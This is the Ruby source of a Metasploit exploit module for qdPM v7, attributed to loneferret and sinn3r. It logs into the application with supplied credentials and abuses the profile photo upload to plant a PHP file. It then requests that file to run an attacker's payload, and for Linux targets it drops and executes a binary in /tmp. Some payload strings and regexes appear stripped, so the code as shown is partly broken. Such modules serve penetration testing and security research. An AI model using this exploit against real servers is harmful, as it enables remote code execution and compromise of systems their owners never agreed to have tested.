## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize(info={}) super(update_info(info, 'Name' => "qdPM v7 Arbitrary PHP File Upload Vulnerability", 'Description' => %q{ This module exploits a vulnerability found in qdPM - a web-based project management software. The user profile's photo upload feature can be abused to upload any arbitrary file onto the victim server machine, which allows remote code execution. Please note in order to use this module, you must have a valid credential to sign in. }, 'License' => MSF_LICENSE, 'Author' => [ 'loneferret', #Discovery, PoC 'sinn3r' #Metasploit ], 'References' => [ ['OSVDB', '82978'], ['EDB', '19154'] ], 'Payload' => { 'BadChars' => "\x00" }, 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Platform' => %w{ linux php }, 'Targets' => [ [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], [ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ] ], 'Privileged' => false, 'DisclosureDate' => "Jun 14 2012", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base directory to sflog!', '/qdPM/']), OptString.new('USERNAME', [true, 'The username to login with']), OptString.new('PASSWORD', [true, 'The password to login with']) ]) end def check uri = normalize_uri(target_uri.path) uri << '/' if uri[-1,1] != '/' base = File.dirname("#{uri}.") res = send_request_raw({'uri'=>normalize_uri(base, "/index.php")}) if res and res.body =~ /
.+qdPM ([\d])\.([\d]).+\<\/div\>/m major, minor = $1, $2 return Exploit::CheckCode::Appears if (major+minor).to_i <= 70 end return Exploit::CheckCode::Safe end def get_write_exec_payload(fname, data) p = Rex::Text.encode_base64(generate_payload_exe) php = %Q| | php = php.gsub(/^ {4}/, '').gsub(/\n/, ' ') return php end def on_new_session(cli) if cli.type == "meterpreter" cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi") end @clean_files.each do |f| print_warning("Removing: #{f}") begin if cli.type == 'meterpreter' cli.fs.file.rm(f) else cli.shell_command_token("rm #{f}") end rescue ::Exception => e print_error("Unable to remove #{f}: #{e.message}") end end end def login(base, username, password) # Login res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri("#{base}/index.php/home/login"), 'vars_post' => { 'login[email]' => username, 'login[password]' => password, 'http_referer' => '' }, # This needs to be set, otherwise we get two cookies... I don't need two cookies. 'cookie' => "qdpm=#{Rex::Text.rand_text_alpha(27)}", 'headers' => { 'Origin' => "http://#{rhost}", 'Referer' => "http://#{rhost}/#{base}/index.php/home/login" } }) cookie = (res and res.get_cookies =~ /qdpm\=.+\;/) ? res.get_cookies : '' return {} if cookie.empty? cookie = cookie.to_s.scan(/(qdpm\=\w+)\;/).flatten[0] # Get user data vprint_status("Enumerating user data") res = send_request_raw({ 'uri' => "#{base}/index.php/home/myAccount", 'cookie' => cookie }) return {} if not res if res.code == 404 print_error("#{username} does not actually have a 'myAccount' page") return {} end b = res.body user_id = b.scan(/\/).flatten[0] || '' group_id = b.scan(/\/).flatten[0] || '' user_active = b.scan(/\/).flatten[0] || '' opts = { 'cookie' => cookie, 'user_id' => user_id, 'group_id' => group_id, 'user_active' => user_active } return opts end def upload_php(base, opts) fname = opts['filename'] php_payload = opts['data'] user_id = opts['user_id'] group_id = opts['group_id'] user_active = opts['user_active'] username = opts['username'] email = opts['email'] cookie = opts['cookie'] data = Rex::MIME::Message.new data.add_part('UsersAccountForm', nil, nil, 'form-data; name="formName"') data.add_part('put', nil, nil, 'form-data; name="sf_method"') data.add_part(user_id, nil, nil, 'form-data; name="users[id]"') data.add_part(group_id, nil, nil, 'form-data; name="users[users_group_id]"') data.add_part(user_active, nil, nil, 'form-data; name="users[active]"') data.add_part('', nil, nil, 'form-data; name="users[skin]"') data.add_part(username, nil, nil, 'form-data; name="users[name]"') data.add_part(php_payload, nil, nil, "form-data; name=\"users[photo]\"; filename=\"#{fname}\"") data.add_part('', nil, nil, 'form-data; name="preview_photo"') data.add_part(email, nil, nil, 'form-data; name="users[email]"') data.add_part('en_US', nil, nil, 'form-data; name="users[culture]"') data.add_part('', nil, nil, 'form-data; name="new_password"') post_data = data.to_s res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri("#{base}/index.php/home/myAccount"), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data, 'cookie' => cookie, 'headers' => { 'Origin' => "http://#{rhost}", 'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount" } }) return (res and res.headers['Location'] =~ /home\/myAccount$/) ? true : false end def exec_php(base, opts) cookie = opts['cookie'] # When we upload a file, it will be renamed. The 'myAccount' page has that info. res = send_request_cgi({ 'uri' => normalize_uri("#{base}/index.php/home/myAccount"), 'cookie' => cookie }) if not res print_error("Unable to request the file") return end fname = res.body.scan(/\/).flatten[0] || '' if fname.empty? print_error("Unable to extract the real filename") return end # Now that we have the filename, request it print_status("Uploaded file was renmaed as '#{fname}'") send_request_raw({'uri'=>"#{base}/uploads/users/#{fname}"}) handler end def exploit uri = normalize_uri(target_uri.path) uri << '/' if uri[-1,1] != '/' base = File.dirname("#{uri}.") user = datastore['USERNAME'] pass = datastore['PASSWORD'] print_status("Attempt to login with '#{user}:#{pass}'") opts = login(base, user, pass) if opts.empty? print_error("Login unsuccessful") return end php_fname = "#{Rex::Text.rand_text_alpha(5)}.php" @clean_files = [php_fname] case target['Platform'] when 'php' p = "" when 'linux' bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin" @clean_files << bin_name bin = generate_payload_exe p = get_write_exec_payload("/tmp/#{bin_name}", bin) end print_status("Uploading PHP payload (#{p.length.to_s} bytes)...") opts = opts.merge({ 'username' => user.scan(/^(.+)\@.+/).flatten[0] || '', 'email' => user, 'filename' => php_fname, 'data' => p }) uploader = upload_php(base, opts) if not uploader print_error("Unable to upload") return end print_status("Executing '#{php_fname}'") exec_php(base, opts) end end